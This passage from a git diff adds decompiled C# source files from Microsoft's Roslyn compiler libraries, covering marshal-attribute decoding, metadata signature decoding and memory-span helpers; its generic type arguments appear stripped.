DecodeMarshalAsFixedString(ref arguments, messageProvider); + } + break; + case UnmanagedType.VBByRefStr: + if (target == AttributeTargets.Field) + { + messageProvider.ReportMarshalUnmanagedTypeNotValidForFields(arguments.Diagnostics, arguments.AttributeSyntaxOpt, 0, "VBByRefStr", arguments.Attribute); + } + else + { + arguments.GetOrCreateData().GetOrCreateData().SetMarshalAsSimpleType(unmanagedType); + } + break; + default: + if (unmanagedType < (UnmanagedType)0 || unmanagedType > (UnmanagedType)536870911) + { + messageProvider.ReportInvalidAttributeArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, 0, arguments.Attribute); + } + else + { + arguments.GetOrCreateData().GetOrCreateData().SetMarshalAsSimpleType(unmanagedType); + } + break; + } + } + + private static UnmanagedType DecodeMarshalAsType(AttributeData attribute) + { + if (attribute.AttributeConstructor.Parameters[0].Type.SpecialType == SpecialType.System_Int16) + { + return (UnmanagedType)attribute.CommonConstructorArguments[0].DecodeValue(SpecialType.System_Int16); + } + return attribute.CommonConstructorArguments[0].DecodeValue(SpecialType.System_Enum); + } + + private static void DecodeMarshalAsCustom(ref DecodeWellKnownAttributeArguments arguments, CommonMessageProvider messageProvider) + { + ITypeSymbolInternal typeSymbolInternal = null; + string text = null; + string text2 = null; + bool flag = false; + bool flag2 = false; + bool flag3 = false; + int num = arguments.Attribute.CommonConstructorArguments.Length; + ImmutableArray>.Enumerator enumerator = arguments.Attribute.NamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + switch (current.Key) + { + case "MarshalType": + text = current.Value.DecodeValue(SpecialType.System_String); + if (!MetadataHelpers.IsValidUnicodeString(text)) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num, arguments.Attribute.AttributeClass, current.Key); + flag3 = true; + } + flag = true; + break; + case "MarshalTypeRef": + typeSymbolInternal = current.Value.DecodeValue(SpecialType.None); + flag2 = true; + break; + case "MarshalCookie": + text2 = current.Value.DecodeValue(SpecialType.System_String); + if (!MetadataHelpers.IsValidUnicodeString(text2)) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num, arguments.Attribute.AttributeClass, current.Key); + flag3 = true; + } + break; + } + num++; + } + if (!flag && !flag2) + { + messageProvider.ReportAttributeParameterRequired(arguments.Diagnostics, arguments.AttributeSyntaxOpt, "MarshalType", "MarshalTypeRef"); + flag3 = true; + } + if (!flag3) + { + arguments.GetOrCreateData().GetOrCreateData().SetMarshalAsCustom(flag ? ((object)text) : ((object)typeSymbolInternal), text2); + } + } + + private static void DecodeMarshalAsComInterface(ref DecodeWellKnownAttributeArguments arguments, UnmanagedType unmanagedType, CommonMessageProvider messageProvider) + { + int? num = null; + int num2 = arguments.Attribute.CommonConstructorArguments.Length; + bool flag = false; + ImmutableArray>.Enumerator enumerator = arguments.Attribute.NamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + if (current.Key == "IidParameterIndex") + { + num = current.Value.DecodeValue(SpecialType.System_Int32); + if (num < 0 || num > 536870911) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num2, arguments.Attribute.AttributeClass, current.Key); + flag = true; + } + } + num2++; + } + if (!flag) + { + arguments.GetOrCreateData().GetOrCreateData().SetMarshalAsComInterface(unmanagedType, num); + } + } + + private static void DecodeMarshalAsArray(ref DecodeWellKnownAttributeArguments arguments, CommonMessageProvider messageProvider, bool isFixed) + { + UnmanagedType? unmanagedType = null; + int? num = null; + short? num2 = null; + bool flag = false; + int i = arguments.Attribute.CommonConstructorArguments.Length; + for (ImmutableArray>.Enumerator enumerator = arguments.Attribute.NamedArguments.GetEnumerator(); enumerator.MoveNext(); i++) + { + KeyValuePair current = enumerator.Current; + switch (current.Key) + { + case "ArraySubType": + unmanagedType = current.Value.DecodeValue(SpecialType.System_Enum); + if ((!isFixed && unmanagedType == UnmanagedType.CustomMarshaler) || unmanagedType.Value < (UnmanagedType)0 || unmanagedType.Value > (UnmanagedType)536870911) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, i, arguments.Attribute.AttributeClass, current.Key); + flag = true; + } + continue; + case "SizeConst": + num = current.Value.DecodeValue(SpecialType.System_Int32); + if (num < 0 || num > 536870911) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, i, arguments.Attribute.AttributeClass, current.Key); + flag = true; + } + continue; + case "SizeParamIndex": + if (!isFixed) + { + num2 = current.Value.DecodeValue(SpecialType.System_Int16); + if (num2 < 0) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, i, arguments.Attribute.AttributeClass, current.Key); + flag = true; + } + continue; + } + break; + case "SafeArraySubType": + break; + default: + continue; + } + messageProvider.ReportParameterNotValidForType(arguments.Diagnostics, arguments.AttributeSyntaxOpt, i); + flag = true; + } + if (isFixed && !num.HasValue) + { + int? wRN_ByValArraySizeConstRequired = messageProvider.WRN_ByValArraySizeConstRequired; + if (wRN_ByValArraySizeConstRequired.HasValue) + { + int valueOrDefault = wRN_ByValArraySizeConstRequired.GetValueOrDefault(); + arguments.Diagnostics.Add(messageProvider.CreateDiagnostic(valueOrDefault, arguments.AttributeSyntaxOpt.GetLocation())); + } + num = 1; + } + if (!flag) + { + MarshalPseudoCustomAttributeData orCreateData = arguments.GetOrCreateData().GetOrCreateData(); + if (isFixed) + { + orCreateData.SetMarshalAsFixedArray(unmanagedType, num); + } + else + { + orCreateData.SetMarshalAsArray(unmanagedType, num, num2); + } + } + } + + private static void DecodeMarshalAsSafeArray(ref DecodeWellKnownAttributeArguments arguments, CommonMessageProvider messageProvider) + { + Microsoft.Cci.VarEnum? varEnum = null; + ITypeSymbolInternal elementTypeSymbol = null; + int num = -1; + bool flag = false; + int num2 = arguments.Attribute.CommonConstructorArguments.Length; + ImmutableArray>.Enumerator enumerator = arguments.Attribute.NamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + switch (current.Key) + { + case "SafeArraySubType": + varEnum = current.Value.DecodeValue(SpecialType.System_Enum); + if (varEnum < Microsoft.Cci.VarEnum.VT_EMPTY || varEnum.Value > (Microsoft.Cci.VarEnum)536870911) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num2, arguments.Attribute.AttributeClass, current.Key); + flag = true; + } + break; + case "SafeArrayUserDefinedSubType": + elementTypeSymbol = current.Value.DecodeValue(SpecialType.None); + num = num2; + break; + case "ArraySubType": + case "SizeConst": + case "SizeParamIndex": + messageProvider.ReportParameterNotValidForType(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num2); + flag = true; + break; + } + num2++; + } + switch (varEnum) + { + default: + if (varEnum.HasValue && num >= 0) + { + messageProvider.ReportParameterNotValidForType(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num); + flag = true; + } + else + { + elementTypeSymbol = null; + } + break; + case Microsoft.Cci.VarEnum.VT_DISPATCH: + case Microsoft.Cci.VarEnum.VT_UNKNOWN: + case Microsoft.Cci.VarEnum.VT_RECORD: + break; + } + if (!flag) + { + arguments.GetOrCreateData().GetOrCreateData().SetMarshalAsSafeArray(varEnum, elementTypeSymbol); + } + } + + private static void DecodeMarshalAsFixedString(ref DecodeWellKnownAttributeArguments arguments, CommonMessageProvider messageProvider) + { + int num = -1; + int num2 = arguments.Attribute.CommonConstructorArguments.Length; + bool flag = false; + ImmutableArray>.Enumerator enumerator = arguments.Attribute.NamedArguments.GetEnumerator(); + while (enumerator.MoveNext()) + { + KeyValuePair current = enumerator.Current; + switch (current.Key) + { + case "SizeConst": + num = current.Value.DecodeValue(SpecialType.System_Int32); + if (num < 0 || num > 536870911) + { + messageProvider.ReportInvalidNamedArgument(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num2, arguments.Attribute.AttributeClass, current.Key); + flag = true; + } + break; + case "ArraySubType": + case "SizeParamIndex": + messageProvider.ReportParameterNotValidForType(arguments.Diagnostics, arguments.AttributeSyntaxOpt, num2); + flag = true; + break; + } + num2++; + } + if (num < 0) + { + messageProvider.ReportAttributeParameterRequired(arguments.Diagnostics, arguments.AttributeSyntaxOpt, "SizeConst"); + flag = true; + } + if (!flag) + { + arguments.GetOrCreateData().GetOrCreateData().SetMarshalAsFixedString(num); + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MarshalPseudoCustomAttributeData.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MarshalPseudoCustomAttributeData.cs new file mode 100644 index 0000000..ab2baae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MarshalPseudoCustomAttributeData.cs @@ -0,0 +1,129 @@ +using System; +using System.Runtime.InteropServices; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.Emit; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis; + +internal sealed class MarshalPseudoCustomAttributeData : IMarshallingInformation +{ + private UnmanagedType _marshalType; + + private int _marshalArrayElementType; + + private int _marshalArrayElementCount; + + private int _marshalParameterIndex; + + private object _marshalTypeNameOrSymbol; + + private string _marshalCookie; + + internal const int Invalid = -1; + + private const UnmanagedType InvalidUnmanagedType = (UnmanagedType)(-1); + + private const Microsoft.Cci.VarEnum InvalidVariantType = (Microsoft.Cci.VarEnum)(-1); + + internal const int MaxMarshalInteger = 536870911; + + public UnmanagedType UnmanagedType => _marshalType; + + int IMarshallingInformation.IidParameterIndex => _marshalParameterIndex; + + string IMarshallingInformation.CustomMarshallerRuntimeArgument => _marshalCookie; + + int IMarshallingInformation.NumberOfElements => _marshalArrayElementCount; + + short IMarshallingInformation.ParamIndex => (short)_marshalParameterIndex; + + UnmanagedType IMarshallingInformation.ElementType => (UnmanagedType)_marshalArrayElementType; + + Microsoft.Cci.VarEnum IMarshallingInformation.SafeArrayElementSubtype => (Microsoft.Cci.VarEnum)_marshalArrayElementType; + + internal void SetMarshalAsCustom(object typeSymbolOrName, string cookie) + { + _marshalType = UnmanagedType.CustomMarshaler; + _marshalTypeNameOrSymbol = typeSymbolOrName; + _marshalCookie = cookie; + } + + internal void SetMarshalAsComInterface(UnmanagedType unmanagedType, int? parameterIndex) + { + _marshalType = unmanagedType; + _marshalParameterIndex = parameterIndex ?? (-1); + } + + internal void SetMarshalAsArray(UnmanagedType? elementType, int? elementCount, short? parameterIndex) + { + _marshalType = UnmanagedType.LPArray; + _marshalArrayElementType = (int)(elementType ?? ((UnmanagedType)80)); + _marshalArrayElementCount = elementCount ?? (-1); + _marshalParameterIndex = parameterIndex ?? (-1); + } + + internal void SetMarshalAsFixedArray(UnmanagedType? elementType, int? elementCount) + { + _marshalType = UnmanagedType.ByValArray; + _marshalArrayElementType = (int)(elementType ?? ((UnmanagedType)(-1))); + _marshalArrayElementCount = elementCount ?? (-1); + } + + internal void SetMarshalAsSafeArray(Microsoft.Cci.VarEnum? elementType, ITypeSymbolInternal elementTypeSymbol) + { + _marshalType = UnmanagedType.SafeArray; + _marshalArrayElementType = (int)(elementType ?? ((Microsoft.Cci.VarEnum)(-1))); + _marshalTypeNameOrSymbol = elementTypeSymbol; + } + + internal void SetMarshalAsFixedString(int elementCount) + { + _marshalType = UnmanagedType.ByValTStr; + _marshalArrayElementCount = elementCount; + } + + internal void SetMarshalAsSimpleType(UnmanagedType type) + { + _marshalType = type; + } + + object IMarshallingInformation.GetCustomMarshaller(EmitContext context) + { + if (_marshalTypeNameOrSymbol is ITypeSymbolInternal symbol) + { + return context.Module.Translate(symbol, context.SyntaxNode, context.Diagnostics); + } + return _marshalTypeNameOrSymbol; + } + + ITypeReference IMarshallingInformation.GetSafeArrayElementUserDefinedSubtype(EmitContext context) + { + if (_marshalTypeNameOrSymbol == null) + { + return null; + } + return context.Module.Translate((ITypeSymbolInternal)_marshalTypeNameOrSymbol, context.SyntaxNode, context.Diagnostics); + } + + internal MarshalPseudoCustomAttributeData WithTranslatedTypes(Func translator, TArg arg) where TTypeSymbol : ITypeSymbolInternal + { + if (_marshalType != UnmanagedType.SafeArray || _marshalTypeNameOrSymbol == null) + { + return this; + } + TTypeSymbol val = translator((TTypeSymbol)_marshalTypeNameOrSymbol, arg); + if ((object)val == _marshalTypeNameOrSymbol) + { + return this; + } + MarshalPseudoCustomAttributeData marshalPseudoCustomAttributeData = new MarshalPseudoCustomAttributeData(); + marshalPseudoCustomAttributeData.SetMarshalAsSafeArray((Microsoft.Cci.VarEnum)_marshalArrayElementType, val); + return marshalPseudoCustomAttributeData; + } + + internal ITypeSymbolInternal TryGetSafeArrayElementUserDefinedSubtype() + { + return _marshalTypeNameOrSymbol as ITypeSymbolInternal; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MemoryExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MemoryExtensions.cs new file mode 100644 index 0000000..61150dd --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MemoryExtensions.cs @@ -0,0 +1,95 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +internal static class MemoryExtensions +{ + public static int IndexOfAny(this ReadOnlySpan span, char[] characters) + { + for (int i = 0; i < span.Length; i++) + { + char c = span[i]; + foreach (char c2 in characters) + { + if (c == c2) + { + return i; + } + } + } + return -1; + } + + internal static ReadOnlyMemory TrimStart(this ReadOnlyMemory memory) + { + ReadOnlySpan span = memory.Span; + int i; + for (i = 0; i < span.Length && char.IsWhiteSpace(span[i]); i++) + { + } + return memory.Slice(i, span.Length - i); + } + + internal static ReadOnlyMemory TrimEnd(this ReadOnlyMemory memory) + { + ReadOnlySpan span = memory.Span; + int num = span.Length; + while (num - 1 >= 0 && char.IsWhiteSpace(span[num - 1])) + { + num--; + } + return memory.Slice(0, num); + } + + internal static ReadOnlyMemory Trim(this ReadOnlyMemory memory) + { + return memory.TrimStart().TrimEnd(); + } + + internal static bool IsNullOrEmpty(this ReadOnlyMemory? memory) + { + return !memory.HasValue || memory.GetValueOrDefault().Length <= 0; + } + + internal static bool IsNullOrWhiteSpace(this ReadOnlyMemory? memory) + { + if (memory.HasValue) + { + ReadOnlyMemory valueOrDefault = memory.GetValueOrDefault(); + return valueOrDefault.IsWhiteSpace(); + } + return true; + } + + internal static bool IsWhiteSpace(this ReadOnlyMemory memory) + { + ReadOnlySpan span = memory.Span; + for (int i = 0; i < span.Length; i++) + { + if (!char.IsWhiteSpace(span[i])) + { + return false; + } + } + return true; + } + + internal static bool StartsWith(this ReadOnlyMemory memory, char c) + { + if (memory.Length > 0) + { + return memory.Span[0] == c; + } + return false; + } + + internal static ReadOnlyMemory Unquote(this ReadOnlyMemory memory) + { + ReadOnlySpan span = memory.Span; + if (span.Length > 1 && span[0] == '"' && span[span.Length - 1] == '"') + { + return memory.Slice(1, memory.Length - 2); + } + return memory; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MergedAliases.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MergedAliases.cs new file mode 100644 index 0000000..7ad5313 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MergedAliases.cs @@ -0,0 +1,83 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.PooledObjects; + +namespace Microsoft.CodeAnalysis; + +internal sealed class MergedAliases +{ + public ArrayBuilder? AliasesOpt; + + public ArrayBuilder? RecursiveAliasesOpt; + + public ArrayBuilder? MergedReferencesOpt; + + internal void Merge(MetadataReference reference) + { + ArrayBuilder aliases; + if (reference.Properties.HasRecursiveAliases) + { + if (RecursiveAliasesOpt == null) + { + RecursiveAliasesOpt = ArrayBuilder.GetInstance(); + RecursiveAliasesOpt.AddRange(reference.Properties.Aliases); + return; + } + aliases = RecursiveAliasesOpt; + } + else + { + if (AliasesOpt == null) + { + AliasesOpt = ArrayBuilder.GetInstance(); + AliasesOpt.AddRange(reference.Properties.Aliases); + return; + } + aliases = AliasesOpt; + } + Merge(aliases, reference.Properties.Aliases); + (MergedReferencesOpt ?? (MergedReferencesOpt = ArrayBuilder.GetInstance())).Add(reference); + } + + internal static void Merge(ArrayBuilder aliases, ImmutableArray newAliases) + { + if ((aliases.Count == 0) ^ newAliases.IsEmpty) + { + AddNonIncluded(aliases, MetadataReferenceProperties.GlobalAlias); + } + AddNonIncluded(aliases, newAliases); + } + + internal static ImmutableArray Merge(ImmutableArray aliasesOpt, ImmutableArray newAliases) + { + if (aliasesOpt.IsDefault) + { + return newAliases; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(aliasesOpt.Length); + instance.AddRange(aliasesOpt); + Merge(instance, newAliases); + return instance.ToImmutableAndFree(); + } + + private static void AddNonIncluded(ArrayBuilder builder, string item) + { + if (!builder.Contains(item)) + { + builder.Add(item); + } + } + + private static void AddNonIncluded(ArrayBuilder builder, ImmutableArray items) + { + int count = builder.Count; + ImmutableArray.Enumerator enumerator = items.GetEnumerator(); + while (enumerator.MoveNext()) + { + string current = enumerator.Current; + if (builder.IndexOf(current, 0, count) < 0) + { + builder.Add(current); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Metadata.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Metadata.cs new file mode 100644 index 0000000..7b645a4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/Metadata.cs @@ -0,0 +1,27 @@ +using System; + +namespace Microsoft.CodeAnalysis; + +public abstract class Metadata : IDisposable +{ + internal readonly bool IsImageOwner; + + public MetadataId Id { get; } + + public abstract MetadataImageKind Kind { get; } + + internal Metadata(bool isImageOwner, MetadataId id) + { + IsImageOwner = isImageOwner; + Id = id; + } + + public abstract void Dispose(); + + protected abstract Metadata CommonCopy(); + + public Metadata Copy() + { + return CommonCopy(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataDecoder.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataDecoder.cs new file mode 100644 index 0000000..d531a53 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/MetadataDecoder.cs @@ -0,0 +1,1648 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Reflection.Metadata; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +internal abstract class MetadataDecoder : TypeNameDecoder, IAttributeNamedArgumentDecoder where ModuleSymbol : class, IModuleSymbolInternal where TypeSymbol : class, Symbol, ITypeSymbolInternal where MethodSymbol : class, Symbol, IMethodSymbolInternal where FieldSymbol : class, Symbol, IFieldSymbolInternal where Symbol : class, ISymbolInternal +{ + public readonly PEModule Module; + + private readonly AssemblyIdentity _containingAssemblyIdentity; + + internal MetadataDecoder(PEModule module, AssemblyIdentity containingAssemblyIdentity, SymbolFactory factory, ModuleSymbol moduleSymbol) + : base(factory, moduleSymbol) + { + Module = module; + _containingAssemblyIdentity = containingAssemblyIdentity; + } + + internal TypeSymbol GetTypeOfToken(EntityHandle token) + { + bool isNoPiaLocalType; + return GetTypeOfToken(token, out isNoPiaLocalType); + } + + internal TypeSymbol GetTypeOfToken(EntityHandle token, out bool isNoPiaLocalType) + { + switch (token.Kind) + { + case HandleKind.TypeDefinition: + return GetTypeOfTypeDef((TypeDefinitionHandle)token, out isNoPiaLocalType, isContainingType: false); + case HandleKind.TypeSpecification: + isNoPiaLocalType = false; + return GetTypeOfTypeSpec((TypeSpecificationHandle)token); + case HandleKind.TypeReference: + return GetTypeOfTypeRef((TypeReferenceHandle)token, out isNoPiaLocalType); + default: + isNoPiaLocalType = false; + return GetUnsupportedMetadataTypeSymbol(); + } + } + + private TypeSymbol GetTypeOfTypeSpec(TypeSpecificationHandle typeSpec) + { + try + { + BlobReader ppSig = Module.GetTypeSpecificationSignatureReaderOrThrow(typeSpec); + bool refersToNoPiaLocalType; + return DecodeTypeOrThrow(ref ppSig, out refersToNoPiaLocalType); + } + catch (BadImageFormatException exception) + { + return GetUnsupportedMetadataTypeSymbol(exception); + } + catch (UnsupportedSignatureContent) + { + return GetUnsupportedMetadataTypeSymbol(); + } + } + + private TypeSymbol DecodeTypeOrThrow(ref BlobReader ppSig, out bool refersToNoPiaLocalType) + { + SignatureTypeCode typeCode = ppSig.ReadSignatureTypeCode(); + return DecodeTypeOrThrow(ref ppSig, typeCode, out refersToNoPiaLocalType); + } + + private TypeSymbol DecodeTypeOrThrow(ref BlobReader ppSig, SignatureTypeCode typeCode, out bool refersToNoPiaLocalType) + { + refersToNoPiaLocalType = false; + int value; + switch (typeCode) + { + case SignatureTypeCode.Void: + case SignatureTypeCode.Boolean: + case SignatureTypeCode.Char: + case SignatureTypeCode.SByte: + case SignatureTypeCode.Byte: + case SignatureTypeCode.Int16: + case SignatureTypeCode.UInt16: + case SignatureTypeCode.Int32: + case SignatureTypeCode.UInt32: + case SignatureTypeCode.Int64: + case SignatureTypeCode.UInt64: + case SignatureTypeCode.Single: + case SignatureTypeCode.Double: + case SignatureTypeCode.String: + case SignatureTypeCode.TypedReference: + case SignatureTypeCode.IntPtr: + case SignatureTypeCode.UIntPtr: + case SignatureTypeCode.Object: + return GetSpecialType(typeCode.ToSpecialType()); + case SignatureTypeCode.TypeHandle: + return GetSymbolForTypeHandleOrThrow(ppSig.ReadTypeHandle(), out refersToNoPiaLocalType, allowTypeSpec: false, requireShortForm: true); + case SignatureTypeCode.Array: + { + ImmutableArray> customModifiers = DecodeModifiersOrThrow(ref ppSig, out typeCode); + TypeSymbol type = DecodeTypeOrThrow(ref ppSig, typeCode, out refersToNoPiaLocalType); + if (!ppSig.TryReadCompressedInteger(out var value2) || !ppSig.TryReadCompressedInteger(out var value3)) + { + throw new UnsupportedSignatureContent(); + } + ImmutableArray sizes; + if (value3 == 0) + { + sizes = ImmutableArray.Empty; + } + else + { + ArrayBuilder instance = ArrayBuilder.GetInstance(value3); + for (int i = 0; i < value3; i++) + { + if (ppSig.TryReadCompressedInteger(out var value4)) + { + instance.Add(value4); + continue; + } + throw new UnsupportedSignatureContent(); + } + sizes = instance.ToImmutableAndFree(); + } + if (!ppSig.TryReadCompressedInteger(out var value5)) + { + throw new UnsupportedSignatureContent(); + } + ImmutableArray lowerBounds = default(ImmutableArray); + if (value5 == 0) + { + lowerBounds = ImmutableArray.Empty; + } + else + { + ArrayBuilder arrayBuilder = ((value5 != value2) ? ArrayBuilder.GetInstance(value5, 0) : null); + for (int j = 0; j < value5; j++) + { + if (ppSig.TryReadCompressedSignedInteger(out var value6)) + { + if (value6 != 0) + { + if (arrayBuilder == null) + { + arrayBuilder = ArrayBuilder.GetInstance(value5, 0); + } + arrayBuilder[j] = value6; + } + continue; + } + throw new UnsupportedSignatureContent(); + } + if (arrayBuilder != null) + { + lowerBounds = arrayBuilder.ToImmutableAndFree(); + } + } + return GetMDArrayTypeSymbol(value2, type, customModifiers, sizes, lowerBounds); + } + case SignatureTypeCode.SZArray: + { + ImmutableArray> customModifiers = DecodeModifiersOrThrow(ref ppSig, out typeCode); + TypeSymbol type = DecodeTypeOrThrow(ref ppSig, typeCode, out refersToNoPiaLocalType); + return GetSZArrayTypeSymbol(type, customModifiers); + } + case SignatureTypeCode.Pointer: + { + ImmutableArray> customModifiers = DecodeModifiersOrThrow(ref ppSig, out typeCode); + TypeSymbol type = DecodeTypeOrThrow(ref ppSig, typeCode, out refersToNoPiaLocalType); + return MakePointerTypeSymbol(type, customModifiers); + } + case SignatureTypeCode.GenericTypeParameter: + if (!ppSig.TryReadCompressedInteger(out value)) + { + throw new UnsupportedSignatureContent(); + } + return GetGenericTypeParamSymbol(value); + case SignatureTypeCode.GenericMethodParameter: + if (!ppSig.TryReadCompressedInteger(out value)) + { + throw new UnsupportedSignatureContent(); + } + return GetGenericMethodTypeParamSymbol(value); + case SignatureTypeCode.GenericTypeInstance: + return DecodeGenericTypeInstanceOrThrow(ref ppSig, out refersToNoPiaLocalType); + case SignatureTypeCode.FunctionPointer: + { + SignatureHeader signatureHeader = ppSig.ReadSignatureHeader(); + int typeParameterCount; + ParamInfo[] items = DecodeSignatureParametersOrThrow(ref ppSig, signatureHeader, out typeParameterCount, shouldProcessAllBytes: false, isFunctionPointerSignature: true); + if (typeParameterCount != 0) + { + throw new UnsupportedSignatureContent(); + } + return MakeFunctionPointerTypeSymbol(signatureHeader.CallingConvention.FromSignatureConvention(), ImmutableArray.Create(items)); + } + default: + throw new UnsupportedSignatureContent(); + } + } + + private TypeSymbol DecodeGenericTypeInstanceOrThrow(ref BlobReader ppSig, out bool refersToNoPiaLocalType) + { + if (ppSig.ReadSignatureTypeCode() != SignatureTypeCode.TypeHandle) + { + throw new UnsupportedSignatureContent(); + } + EntityHandle token = ppSig.ReadTypeHandle(); + if (!ppSig.TryReadCompressedInteger(out var value)) + { + throw new UnsupportedSignatureContent(); + } + TypeSymbol typeOfToken = GetTypeOfToken(token, out refersToNoPiaLocalType); + ArrayBuilder>>> instance = ArrayBuilder>>>.GetInstance(value); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(value); + for (int i = 0; i < value; i++) + { + SignatureTypeCode typeCode; + ImmutableArray> value2 = DecodeModifiersOrThrow(ref ppSig, out typeCode); + instance.Add(KeyValuePairUtil.Create(DecodeTypeOrThrow(ref ppSig, typeCode, out var refersToNoPiaLocalType2), value2)); + instance2.Add(refersToNoPiaLocalType2); + } + ImmutableArray>>> arguments = instance.ToImmutableAndFree(); + ImmutableArray refersToNoPiaLocalType3 = instance2.ToImmutableAndFree(); + TypeSymbol result = SubstituteTypeParameters(typeOfToken, arguments, refersToNoPiaLocalType3); + ImmutableArray.Enumerator enumerator = refersToNoPiaLocalType3.GetEnumerator(); + while (enumerator.MoveNext()) + { + if (enumerator.Current) + { + refersToNoPiaLocalType = true; + break; + } + } + return result; + } + + internal TypeSymbol GetSymbolForTypeHandleOrThrow(EntityHandle handle, out bool isNoPiaLocalType, bool allowTypeSpec, bool requireShortForm) + { + if (handle.IsNil) + { + throw new UnsupportedSignatureContent(); + } + TypeSymbol val; + switch (handle.Kind) + { + case HandleKind.TypeDefinition: + val = GetTypeOfTypeDef((TypeDefinitionHandle)handle, out isNoPiaLocalType, isContainingType: false); + break; + case HandleKind.TypeReference: + val = GetTypeOfTypeRef((TypeReferenceHandle)handle, out isNoPiaLocalType); + break; + case HandleKind.TypeSpecification: + if (!allowTypeSpec) + { + throw new UnsupportedSignatureContent(); + } + isNoPiaLocalType = false; + val = GetTypeOfTypeSpec((TypeSpecificationHandle)handle); + break; + default: + throw ExceptionUtilities.UnexpectedValue(handle.Kind); + } + if (requireShortForm && val.SpecialType.HasShortFormSignatureEncoding()) + { + throw new UnsupportedSignatureContent(); + } + return val; + } + + private TypeSymbol GetTypeOfTypeRef(TypeReferenceHandle typeRef, out bool isNoPiaLocalType) + { + ConcurrentDictionary typeRefHandleToTypeMap = GetTypeRefHandleToTypeMap(); + if (typeRefHandleToTypeMap != null && typeRefHandleToTypeMap.TryGetValue(typeRef, out var value)) + { + isNoPiaLocalType = false; + return value; + } + try + { + Module.GetTypeRefPropsOrThrow(typeRef, out var name, out var @namespace, out var resolutionScope); + MetadataTypeName fullName = ((@namespace.Length > 0) ? MetadataTypeName.FromNamespaceAndTypeName(@namespace, name) : MetadataTypeName.FromTypeName(name)); + value = GetTypeByNameOrThrow(ref fullName, resolutionScope, out isNoPiaLocalType); + } + catch (BadImageFormatException exception) + { + value = GetUnsupportedMetadataTypeSymbol(exception); + isNoPiaLocalType = false; + } + if (typeRefHandleToTypeMap != null && !isNoPiaLocalType) + { + typeRefHandleToTypeMap.GetOrAdd(typeRef, value); + } + return value; + } + + private TypeSymbol GetTypeByNameOrThrow(ref MetadataTypeName fullName, EntityHandle tokenResolutionScope, out bool isNoPiaLocalType) + { + switch (tokenResolutionScope.Kind) + { + case HandleKind.TypeReference: + { + if (tokenResolutionScope.IsNil) + { + throw new BadImageFormatException(); + } + TypeSymbol typeOfToken = GetTypeOfToken(tokenResolutionScope); + isNoPiaLocalType = false; + return LookupNestedTypeDefSymbol(typeOfToken, ref fullName); + } + case HandleKind.AssemblyReference: + { + isNoPiaLocalType = false; + AssemblyReferenceHandle assemblyRef = (AssemblyReferenceHandle)tokenResolutionScope; + if (assemblyRef.IsNil) + { + throw new BadImageFormatException(); + } + return LookupTopLevelTypeDefSymbol(Module.GetAssemblyReferenceIndexOrThrow(assemblyRef), ref fullName); + } + case HandleKind.ModuleReference: + { + ModuleReferenceHandle moduleRef = (ModuleReferenceHandle)tokenResolutionScope; + if (moduleRef.IsNil) + { + throw new BadImageFormatException(); + } + return LookupTopLevelTypeDefSymbol(Module.GetModuleRefNameOrThrow(moduleRef), ref fullName, out isNoPiaLocalType); + } + default: + if (tokenResolutionScope == EntityHandle.ModuleDefinition) + { + return LookupTopLevelTypeDefSymbol(ref fullName, out isNoPiaLocalType); + } + isNoPiaLocalType = false; + return GetUnsupportedMetadataTypeSymbol(); + } + } + + private TypeSymbol GetTypeOfTypeDef(TypeDefinitionHandle typeDef) + { + bool isNoPiaLocalType; + return GetTypeOfTypeDef(typeDef, out isNoPiaLocalType, isContainingType: false); + } + 